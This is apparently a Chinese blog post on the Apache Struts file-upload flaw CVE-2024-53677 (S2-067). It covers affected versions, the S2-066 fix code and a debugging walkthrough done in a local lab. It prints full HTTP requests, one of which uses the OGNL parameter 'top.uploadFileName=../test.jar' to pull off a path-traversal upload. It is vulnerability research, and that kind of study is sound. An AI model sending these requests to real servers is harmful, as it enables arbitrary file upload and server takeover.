前言
学习,AI助我。
CVE-2024-53677(S2-067)
漏洞描述
CVE-2024-53677是Apache Struts框架中发现的远程代码执行(RCE)漏洞,CVSS评分高达9.5(严重)。该漏洞源于文件上传逻辑的缺陷,攻击者可通过路径遍历攻击绕过安全限制,上传恶意文件并执行任意代码,可能导致服务器被完全控制、数据泄露等严重后果。
CVE-2024-53677是Apache Struts框架中文件上传机制的逻辑缺陷,其核心问题在于参数绑定与路径处理的不安全性。攻击者可通过构造特殊参数绕过文件名验证,将恶意文件上传至任意目录。该漏洞是S2-066漏洞的绕过变种,官方曾通过删除同名参数的方式修复旧漏洞,但新漏洞利用OGNL表达式动态修改文件名实现绕过。
漏洞影响
受影响的Apache Struts版本包括:
Struts 2.x系列:2.0.0 - 2.5.33(已停止支持)
Struts 6.x系列:6.0.0 - 6.3.0.2
修复版本需升级至6.4.0或更高版本,且需迁移至新的文件上传机制。
环境搭建
据说是上一个漏洞的绕过,换一下struts2版本就行:
1 2 3 4 5
| <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>6.3.0.2</version> </dependency>
XML
|
顺便看看上一个漏洞的修复方式,在添加上传文件参数的环节也就是这段代码:
1 2 3 4 5
| Map<String, Parameter> newParams = new HashMap<>(); newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()]))); newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()]))); newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()]))); ac.getParameters().appendAll(newParams);
JAVA
|
使用的appendAll函数会先进行一次remove:
1 2 3 4 5
| public HttpParameters appendAll(Map<String, Parameter> newParams) { remove(newParams.keySet()); parameters.putAll(newParams); return this; }
JAVA
|
remove就会忽略大小写,把名字相同的参数删掉,只保留FileUploadInterceptor拿到的过滤后的文件名:
1 2 3 4 5 6
| public HttpParameters remove(Set<String> paramsToRemove) { for (String paramName : paramsToRemove) { parameters.entrySet().removeIf(p -> p.getKey().equalsIgnoreCase(paramName)); } return this; }
JAVA
|
漏洞原理
攻击者通过构造包含top.uploadFileName等OGNL表达式的参数,在参数绑定阶段动态修改文件名。例如,利用[0].top.UploadFilename绕过单文件上传场景的验证,将恶意文件名写入服务器。
漏洞分析
先测试一下aaa.bbb类型的参数会怎么绑定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /struts2_upload_war_exploded/upload.action?aaa.bbb=test HTTP/1.1 Host: www.test.local:8080 Cache-Control: max-age=0 Referer: http://www.test.local:8080/struts2_upload_war_exploded/ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Upgrade-Insecure-Requests: 1 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Origin: http://www.test.local:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1 Content-Length: 194
Content-Disposition: form-data; name="upload"; filename="test.TXT" Content-Type: text/plain
flag{test}
HTTP
|
调试发现struts2会将参数名作为一句ognl表达式来处理:
1
| ognlUtil.setValue(expr, context, root, value);
JAVA
|
而root作为ognl数据栈,被访问的UploadAction可以被ognl表达式的top关键词访问,因此可以通过传递top.uploadFileName参数的方式来修改上传文件名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /struts2_upload_war_exploded/upload.action?top.uploadFileName=../test.jar HTTP/1.1 Host: www.test.local:8080 Cache-Control: max-age=0 Referer: http://www.test.local:8080/struts2_upload_war_exploded/ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Upgrade-Insecure-Requests: 1 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Origin: http://www.test.local:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1 Content-Length: 194
Content-Disposition: form-data; name="Upload"; filename="test.TXT" Content-Type: text/plain
flag{test}
HTTP
|
需要注意的一点是TreeMap的排序问题,如果将上传name改为upload就会导致覆盖失败,或者像参考文章那样直接将name改为top.uploadFileName应该也是可行的。
总结
好使,爱使,多使。
参考
深度解析 Struts2 漏洞 CVE - 2024 - 53677:原理、利用与修复全攻略